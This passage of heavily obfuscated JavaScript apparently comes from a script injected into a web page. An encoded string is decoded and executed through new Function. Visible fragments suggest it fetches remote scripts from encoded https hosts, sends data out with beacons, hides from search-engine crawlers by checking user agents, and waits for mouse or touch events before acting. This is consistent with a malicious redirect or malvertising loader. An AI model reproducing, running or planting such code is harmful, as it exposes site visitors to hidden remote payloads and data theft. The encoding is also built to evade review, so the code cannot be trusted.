M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();